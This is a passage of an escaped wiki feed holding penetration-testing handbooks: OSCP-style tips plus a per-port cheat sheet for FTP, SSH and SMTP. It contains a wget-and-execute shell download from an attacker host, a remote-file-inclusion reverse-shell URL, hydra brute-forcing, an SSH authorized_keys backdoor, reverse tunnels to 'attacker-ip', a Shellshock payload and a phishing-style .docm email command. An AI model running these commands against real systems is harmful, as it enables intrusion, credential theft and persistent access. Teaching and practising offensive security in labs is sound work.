echo &amp;quot; &amp;quot;;echo &amp;quot;uname -a:&amp;quot;;uname -a;echo &amp;quot; &amp;quot;;echo &amp;quot;hostname:&amp;quot;;hostname;echo &amp;quot; &amp;quot;;echo &amp;quot;id&amp;quot;;id;echo &amp;quot; &amp;quot;;echo &amp;quot;ifconfig:&amp;quot;;/sbin/ifconfig -a;echo &amp;quot; &amp;quot;;echo &amp;quot;proof:&amp;quot;;cat /root/proof.txt 2&amp;gt;/dev/null; cat /Desktop/proof.txt 2&amp;gt;/dev/null;echo &amp;quot; &amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo. &amp;amp; echo. &amp;amp; echo whoami: &amp;amp; whoami 2&amp;gt; nul &amp;amp; echo %username% 2&amp;gt; nul &amp;amp; echo. &amp;amp; echo Hostname: &amp;amp; hostname &amp;amp; echo. &amp;amp; ipconfig /all &amp;amp; echo. &amp;amp; echo proof.txt: &amp;amp;  type &amp;quot;C:\Documents and Settings\Administrator\Desktop\proof.txt&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HELP! I&#039;m stuck - What to do when stuck ==&lt;br /&gt;
&lt;br /&gt;
The list below is taken from [https://www.blakejarvis.com/oscp/oscp-things-to-try-when-stuck blakejarvis&#039; notes.]&lt;br /&gt;
&lt;br /&gt;
=== Initial access ===&lt;br /&gt;
&lt;br /&gt;
==== Web discovery ====&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;lt;code&amp;gt;http://site/[hostname]&amp;lt;/code&amp;gt; if you can&#039;t find a directory or software you think should exist.&lt;br /&gt;
&lt;br /&gt;
* Try both GET and POST methods for all URLs given that may be blocking data via a particular HTTP method.&lt;br /&gt;
&lt;br /&gt;
* Fuzz parameters with ffuf.&lt;br /&gt;
&lt;br /&gt;
* Examine response headers for minor custom errors.&lt;br /&gt;
&lt;br /&gt;
==== Getting a shell ====&lt;br /&gt;
&lt;br /&gt;
* To save time, upload a web shell instead of manually executing PHP commands.&lt;br /&gt;
&lt;br /&gt;
* Some PHP local file inclusion vulnerabilities can reference remote resources with &amp;lt;code&amp;gt;?path=http://[kali ip]/rev-shell.php&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Break up an exploit. Use Wireshark to watch for ICMP pings back home instead of going for a reverse shell right away.&lt;br /&gt;
&lt;br /&gt;
* Instead of sharing a full rev shell payload, download an elf, +x, and execute it all in 1 command: &amp;lt;code&amp;gt;wget -P /tmp http://kali/shell.elf &amp;amp;&amp;amp; chmod +x /tmp/shell.elf &amp;amp;&amp;amp; /tmp/shell.elf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* If a CMS has an RCE, look closely at what/where it&#039;s implemented. If it has /skins/ in a proof-of-concept URL, check for that functionality in admin panel or in online documentation.&lt;br /&gt;
&lt;br /&gt;
* When calling back on a port (web request, shell, etc.) try multiple ports if the first fails.&lt;br /&gt;
&lt;br /&gt;
* Piece together multiple initial access exploits. If one creates a web account and tries for a shell and fails, add &amp;lt;code&amp;gt;exit(0)&amp;lt;/code&amp;gt; in the python script after the account is created and use the credentials for another exploit.&lt;br /&gt;
&lt;br /&gt;
* Use the same ports the box has open for shell callbacks.&lt;br /&gt;
&lt;br /&gt;
* Try at least 4 ports and ping when trying to get a callback.&lt;br /&gt;
&lt;br /&gt;
* If you can control data being read to the server, always consider serialization.&lt;br /&gt;
&lt;br /&gt;
* Always test payloads locally, especially if it&#039;s blind.&lt;br /&gt;
&lt;br /&gt;
* Consider where can you write data to that&#039;s then read back in to the server.&lt;br /&gt;
&lt;br /&gt;
==== General ====&lt;br /&gt;
&lt;br /&gt;
* Don&#039;t spin wheels on other routes if something has a known exploit to root and it&#039;s a 10 pointer.&lt;br /&gt;
&lt;br /&gt;
* Check version numbers to ensure something isn&#039;t a false flag.&lt;br /&gt;
&lt;br /&gt;
* Consider similar protocols. If you get an SSH key, try using it over SCP.&lt;br /&gt;
&lt;br /&gt;
* Type version numbers carefully!&lt;br /&gt;
&lt;br /&gt;
* For hydra always do -e nsr. Example: &amp;lt;code&amp;gt;hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ftp -vV -f -e nsr -I&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for &amp;lt;code&amp;gt;auth-owners&amp;lt;/code&amp;gt; in nmap to get usernames.&lt;br /&gt;
&lt;br /&gt;
* FTP - always be in a directory on kali that&#039;s writable to download files.&lt;br /&gt;
&lt;br /&gt;
* FTP brute force &amp;quot;admin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Search Metasploit modules for ideas [https://github.com/rapid7/metasploit-framework https://github.com/rapid7/metasploit-framework].&lt;br /&gt;
&lt;br /&gt;
* Search a software&#039;s Github page for version files that would give specific information.&lt;br /&gt;
&lt;br /&gt;
* See Proving Grounds&#039; Dibble for node.js RCE.&lt;br /&gt;
&lt;br /&gt;
* Review page source code for commented out areas for every page.&lt;br /&gt;
&lt;br /&gt;
* Guess parameters. If there&#039;s a POST forgot_pass.php with an email param, try &amp;lt;code&amp;gt;GET /forgot_pass.php?email=%0aid.&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Parameter/command injection fuzzing:&lt;br /&gt;
Payload list: [https://github.com/payloadbox/command-injection-payload-list github.com/payloadbox/command-injection-payload-list]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ffuf -w cmd-wordlist.txt -u 192.168.1.1/under_construction/forgot.php?email=abcdFUZZde&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* See Proving Grounds&#039; Hetemit for an example&lt;br /&gt;
&lt;br /&gt;
* When brute forcing credentials, guess the software name as the username and password.&lt;br /&gt;
&lt;br /&gt;
* When dealing with file type uploads, try specifying just the header like GIF89a;. Files pulled from Google Images could be made different and not identified as a GIF.&lt;br /&gt;
&lt;br /&gt;
=== Windows Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
* Explore the C:\ drive root. Some scheduled tasks can&#039;t be seen as a low level user could be located at C:\.&lt;br /&gt;
&lt;br /&gt;
* Always test a reverse shell on a windows box when attempting to get a shell.&lt;br /&gt;
&lt;br /&gt;
* Explore alternatives to a reverse shell. Leverage exposed remote access protocols. For example, if a reverse shell doesn&#039;t work, execute a command to change the Administrator password and used smbexec to auth.&lt;br /&gt;
&lt;br /&gt;
* Identify all users. Attempt to brute force authentication via RDP&lt;br /&gt;
&lt;br /&gt;
* Always view &amp;quot;C:\program files&amp;quot; and &amp;quot;C:\program files (x86)&amp;quot; for installed apps.&lt;br /&gt;
&lt;br /&gt;
=== Linux Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
* Privesc scripts aren&#039;t always right:&lt;br /&gt;
e.g. a decoy exist item in crontab when &amp;lt;code&amp;gt;sudo -l&amp;lt;/code&amp;gt; reveals a process dumper used to get credentials from memory.&lt;br /&gt;
&lt;br /&gt;
* If a process dumper is available, don&#039;t Google too deep. See if there are custom &amp;quot;password&amp;quot; processes to target.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;su root&amp;lt;/code&amp;gt; is the best way to switch to root if you have a password but aren&#039;t in root group.&lt;br /&gt;
&lt;br /&gt;
* Identify all users. Attempt to brute force auth ssh if &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; is pulled.&lt;br /&gt;
&lt;br /&gt;
* Always run &amp;lt;code&amp;gt;echo $PATH&amp;lt;/code&amp;gt; to show available commands/locations.&lt;br /&gt;
&lt;br /&gt;
* Docker - see Proving Grounds&#039; Sirol/Escape box.&lt;br /&gt;
&lt;br /&gt;
* If a user is in a group, it&#039;s probably for a reason.&lt;br /&gt;
&lt;br /&gt;
* Fully understand software that&#039;s related to a user&#039;s group (e.g. fail2ban group).&lt;br /&gt;
&lt;br /&gt;
* Use [https://github.com/DominicBreuker/pspy pspy] to spy on processes and cronjobs you may not be able to see&lt;br /&gt;
&lt;br /&gt;
* Run &amp;lt;code&amp;gt;groups&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;cat ~/.profile &amp;amp;&amp;amp; cat ~/.bashrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* If running as www-data, always inspect the contents of html or the application, look for commented out passwords.&lt;br /&gt;
&lt;br /&gt;
* If another user exist, always &amp;lt;code&amp;gt;su [user]&amp;lt;/code&amp;gt; with no password and their name as the password.&lt;br /&gt;
&lt;br /&gt;
* Check &amp;lt;code&amp;gt;/var/backups&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Custom SUIDs won&#039;t be highlighted as linpeas and other privesc scripts don&#039;t know what they are.&lt;br /&gt;
Examine each and every SUD!&lt;br /&gt;
&lt;br /&gt;
* Run [https://github.com/diego-treitos/linux-smart-enumeration linux-smart-enumeration/lse.sh] as a backup privilege escalation script.&lt;br /&gt;
&lt;br /&gt;
* Run also linux-exploit-suggester and linux-exploit-suggester-2.pl&lt;br /&gt;
&lt;br /&gt;
* Try kernel exploits! If no &amp;lt;code&amp;gt;gcc &amp;lt;/code&amp;gt;installed, compile on kali with &amp;lt;code&amp;gt;gcc --static&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Files with caps / capabilities - see Proving Grounds&#039; Escape box.&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_I_-_Basic&amp;diff=2361</id>
		<title>Handbook I - Basic</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_I_-_Basic&amp;diff=2361"/>
		<updated>2026-05-08T10:23:20Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Linux */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Enumeration is key ==&lt;br /&gt;
&lt;br /&gt;
* Look over the ports and scans. Get an idea of what you&#039;re working with.&lt;br /&gt;
&lt;br /&gt;
* Dont just jump on a port and start hacking&lt;br /&gt;
&lt;br /&gt;
* Find service and versions&lt;br /&gt;
&lt;br /&gt;
* Find known service bugs&lt;br /&gt;
&lt;br /&gt;
* Find config issues&lt;br /&gt;
&lt;br /&gt;
* Find vulnerabilities using &#039;&#039;&#039;Searchsploit&#039;&#039;&#039; every service/app available&lt;br /&gt;
&lt;br /&gt;
* Enumerate each service closely. Look at the header using nc/telnet.&lt;br /&gt;
&lt;br /&gt;
* Default credentials (admin:admin, admin:secret, admin:pass etc…)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful websites ==&lt;br /&gt;
&lt;br /&gt;
[https://kashz.gitbook.io/kashz-jewels/services/ovidentia https://kashz.gitbook.io/kashz-jewels/]&lt;br /&gt;
&lt;br /&gt;
[https://lelinhtinh.github.io/de4js/ https://lelinhtinh.github.io/de4js/]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/ Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== RedTeam Mindmap ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Red-Teaming][https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Download]&lt;br /&gt;
&lt;br /&gt;
== WebApp Mindmap ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Web-Penetration-Testing-1][https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Download]&lt;br /&gt;
&lt;br /&gt;
== Network Mapping ==&lt;br /&gt;
Tools used to map out internal networks once a foothold is obtained. Please note that many of these tools and commands can create alot of traffic. Make sure to adjust based on your engagement rules.&lt;br /&gt;
=== Angry IP Scanner ===&lt;br /&gt;
[https://angryip.org/download/#windows Angry IP Scanner - Download for Windows, Mac or Linux]&lt;br /&gt;
[[File:2024-08-image-1.png|thumb]]&lt;br /&gt;
=== NMAP ===&lt;br /&gt;
Fast scan to list open ports&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -p- --min-rate 10000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Scan using default scripts and list version, output to nmap.result&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -sC -sV  -oN nmap.result&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Default nmap command to run against target&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -sC -sV -sU -p- --min-rate 10000  -oN outfile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Quick port scan script ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
host=192.168.1.1&lt;br /&gt;
for port in {1..65535}; do&lt;br /&gt;
    timeout .1 bash -c &amp;quot;echo &amp;gt;/dev/tcp/$host/$port&amp;quot; &amp;amp;&amp;amp;&lt;br /&gt;
        echo &amp;quot;port $port is open&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
echo &amp;quot;Done&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ping scan one-liner ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.5.5.%i &amp;gt; nul &amp;amp;&amp;amp; echo 10.5.5.%i is up.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PRTG Network Monitor ===&lt;br /&gt;
&lt;br /&gt;
[https://www.paessler.com/network_monitoring_tool Network monitoring tool | PRTG (paessler.com)]&lt;br /&gt;
&lt;br /&gt;
=== SoftPerfect Network Scanner ===&lt;br /&gt;
&lt;br /&gt;
[https://www.softperfect.com https://www.softperfect.com]&lt;br /&gt;
SoftPerfect Network Scanner can ping computers, scan ports, discover shared folders, retrieve device information via WMI, SNMP, HTTP, SSH, and PowerShell, scan remote services, registry, files, and performance counters, and export results in various formats.&lt;br /&gt;
&lt;br /&gt;
Free version limit: Only 10 devices.&lt;br /&gt;
&lt;br /&gt;
[[File:2024-08-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
== 21 - FTP ==&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -vn  21&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hydra -V -f -L  -P  ftp:// -u -vV&lt;br /&gt;
# Try default usernames like admin:admin, admin:password etc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Default credentials ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Downlad file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
get&lt;br /&gt;
# Download all files from FTP&lt;br /&gt;
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all&lt;br /&gt;
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Upload file ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER! If uploading binary, type &#039;binary&#039; into console otherwise the binary wont work.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
put&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 22 - SSH ==&lt;br /&gt;
&lt;br /&gt;
=== Create SSH Tunnel from target to attacker ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CREATE dedicated reverse ssh account on pentest1&lt;br /&gt;
sudo useradd -m -s /bin/bash user&lt;br /&gt;
ssh-keygen -t ed25519 -f user -C &amp;quot;user&amp;quot;&lt;br /&gt;
sudo mkdir -p /home/user/.ssh&lt;br /&gt;
sudo chmod 700 /home/user/.ssh&lt;br /&gt;
sudo sh -c &#039;cat user.pub &amp;gt;&amp;gt; /home/user/.ssh/authorized_keys&#039;&lt;br /&gt;
sudo chmod 600 /home/user/.ssh/authorized_keys&lt;br /&gt;
sudo chown -R user:user /home/user/.ssh&lt;br /&gt;
chmod 700 /home/user&lt;br /&gt;
chmod 600 /home/user/.ssh/authorized_keys&lt;br /&gt;
chown user:user /home/user&lt;br /&gt;
# ON target, portforward&lt;br /&gt;
# Make sure you remove inheritance and remove everyone to have access to the key except your user. Also save the file in your home folder, not in a folder where everyone have read access.&lt;br /&gt;
icacls .\key.txt /inheritance:r&lt;br /&gt;
 ssh -i .\key.txt -N -R 10088:192.168.1.100:88 -R 10389:192.168.1.100:389 -R 10636:192.168.1.100:636 -R 10053:192.168.1.100:53 user@attacker-ip&lt;br /&gt;
# SOCAT to create a forward from 10088 and whatver back to 88 to make sure certipy works.&lt;br /&gt;
socat TCP4-LISTEN:53,fork TCP4:127.0.0.1:10053 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:88,fork TCP4:127.0.0.1:10088 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:636,fork TCP4:127.0.0.1:10636 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:445,fork TCP4:127.0.0.1:10445 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:389,fork TCP4:127.0.0.1:10389 &amp;amp;&lt;br /&gt;
# In hosts file add the dc hostname and tie to localhost on pentest1&lt;br /&gt;
127.0.0.1 DC.domain.local&lt;br /&gt;
&lt;br /&gt;
# From attacker windows machine.&lt;br /&gt;
# The below command basically tells that connect port 88 to 127.0.0.1 at port 10088 .&lt;br /&gt;
# This will reach the linux machine and make them accessible to me.&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:10088 -L 389:127.0.0.1:10389 -L 636:127.0.0.1:10636 -L 53:127.0.0.1:10053&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 1053:127.0.0.1:53&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 53:127.0.0.1:53 -L 10445:127.0.0.1:445&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -vn  22&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hydra -V -f -L  -P  ssh:// -u -vV&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Config files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh_config&lt;br /&gt;
sshd_config&lt;br /&gt;
authorized_keys&lt;br /&gt;
ssh_known_hosts&lt;br /&gt;
known_hosts&lt;br /&gt;
id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Backdoor ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
ssh-keygen -f&lt;br /&gt;
chmod 600&lt;br /&gt;
cat .pub -&amp;gt; copy&lt;br /&gt;
# Victim - Remember to chmod 600 authorized_keys&lt;br /&gt;
echo .pub &amp;gt;&amp;gt; /.ssh/authorized_keys&lt;br /&gt;
# Connect&lt;br /&gt;
ssh -i  @&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Debian OpenSSL Predictable PRNG ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/g0tmi1k/debian-ssh/blob/master/README.md&lt;br /&gt;
# https://github.com/g0tmi1k/debian-ssh&lt;br /&gt;
# https://gitbook.brainyou.stream/basic-linux/ssh-key-predictable-prng-authorized_keys-process&lt;br /&gt;
# Obtain the authorized_keys file. It will be something like (ssh-dss ....):&lt;br /&gt;
ssh-dss AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAV[...] root@debian40server&lt;br /&gt;
# On the attacker machine, add the following line in /etc/ssh/ssh_config:&lt;br /&gt;
PubkeyAcceptedKeyTypes +ssh-dss&lt;br /&gt;
# Get the debian SSH repo:&lt;br /&gt;
git clone https://github.com/g0tmi1k/debian-ssh&lt;br /&gt;
tar vjxf debian-ssh/common_keys/debian_ssh_dsa_1024_x86.tar.bz2&lt;br /&gt;
# Copy the first 30 (approx.) characters after ssh-dss in the authorized_keys, then search it in the repo using grep -lr:&lt;br /&gt;
cd debian-ssh/common_keys/dsa/1024/&lt;br /&gt;
grep -lr &#039;AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTsyNAi3IiFShIfx9&#039;&lt;br /&gt;
&lt;br /&gt;
# Flags for common error&lt;br /&gt;
# flag for algorithm&lt;br /&gt;
-okexAlgorithms=+diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1&lt;br /&gt;
# flag for public key&lt;br /&gt;
-oPubkeyAcceptedKeyTypes=+ssh-dss&lt;br /&gt;
# flag for cipher&lt;br /&gt;
-c aes128-cbc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Decrypt RSA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh2john [id_rsa private key file] &amp;gt; [output file]&lt;br /&gt;
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Key file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/home/user/.ssh/authorized_keys&lt;br /&gt;
/home/usr/.ssh/id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Restriction SSH public key ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
from=&amp;quot;192.168.1.150&amp;quot;,command=&amp;quot;echo &#039;This account can only be used for port forwarding&#039;&amp;quot;,no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxO27JE5uXiHqoUUb4j9o/IPHxsPg+fflPKW4N6pK0ZXSmMfLhjaHyhUr4auF+hSnF2g1hN4N2Z4DjkfZ9f95O7Ox3m0oaUgEwHtZcwTNNLJiHs2fSs7ObLR+gZ23kaJ+TYM8ZIo/ENC68Py+NhtW1c2So95ARwCa/Hkb7kZ1xNo6f6rvCqXAyk/WZcBXxYkGqOLut3c5B+++6h3spOPlDkoPs8T5/wJNcn8i12Lex/d02iOWCLGEav2V1R9xk87xVdI6h5BPySl35+ZXOrHzazbddS7MwGFz16coo+wbHbTR6P5fF9Z1Zm9O/US2LoqHxs7OxNq61BLtr4I/MDnin www-data@user&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH when no interactive shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh kali@10.11.0.4 -o &amp;quot;UserKnownHostsFile=/dev/null&amp;quot; -o &amp;quot;StrictHostKeyChecking=no&amp;quot; -i id_rsa&lt;br /&gt;
ssh -f -N -R 1080 -o &amp;quot;UserKnownHostsFile=/dev/null&amp;quot; -o &amp;quot;StrictHostKeyChecking=no&amp;quot; -i id_rsa kali@10.11.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SHELLSHOCK exploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -i id_rsa user@ &#039;() {:;};/bin/bash&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 25 ,465, 587 - SMTP ==&lt;br /&gt;
&lt;br /&gt;
=== User enumeration ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smtp-user-enum -M  -u  -t&lt;br /&gt;
# Example&lt;br /&gt;
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 192.168.196.137&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Se ===&lt;br /&gt;
&lt;br /&gt;
=== Send mail ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# sendmail&lt;br /&gt;
sendemail -t recepiant@test.com -f ghanim@mail.com -s SMTP_server -m &amp;quot;Please open attachment&amp;quot; -u &amp;quot;My job application&amp;quot; -a MyJobApplication.docm&lt;br /&gt;
-t : Recipient&#039;s email address.&lt;br /&gt;
-f : Sender&#039;s email address.&lt;br /&gt;
-s : SMTP server address.&lt;br /&gt;
-m : Message body of the email.&lt;br /&gt;
-u : Subject of the email.&lt;br /&gt;
-a : File to attach to the email.&lt;br /&gt;
# Telnet&lt;br /&gt;
telnet 192.168.196.137 25                                                                                                                                           1 ⨯&lt;br /&gt;
Trying 192.168.196.137...&lt;br /&gt;
Connected to 192.168.196.137.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
220 postfish.off ESMTP Postfix (Ubuntu)&lt;br /&gt;
HELO HELO&lt;br /&gt;
250 postfish.off&lt;br /&gt;
MAIL FROM: it@postfish.off&lt;br /&gt;
250 2.1.0 Ok&lt;br /&gt;
RCPT TO: brian.moore@postfish.off&lt;br /&gt;
250 2.1.5 Ok&lt;br /&gt;
DATA&lt;br /&gt;
354 End data with .&lt;br /&gt;
subject: Test&lt;br /&gt;
Hello,&lt;br /&gt;
This is a test.&lt;br /&gt;
Regards,&lt;br /&gt;
Me&lt;br /&gt;
.&lt;br /&gt;
250 2.0.0 Ok: queued as F2824458F9&lt;br /&gt;
quit&lt;br /&gt;
221 2.0.0 Bye&lt;br /&gt;
Connection closed by foreign host.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SMTP 4.2.x &amp;lt; 4.2.48 - &#039;Shellshock&#039; ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py]&lt;br /&gt;
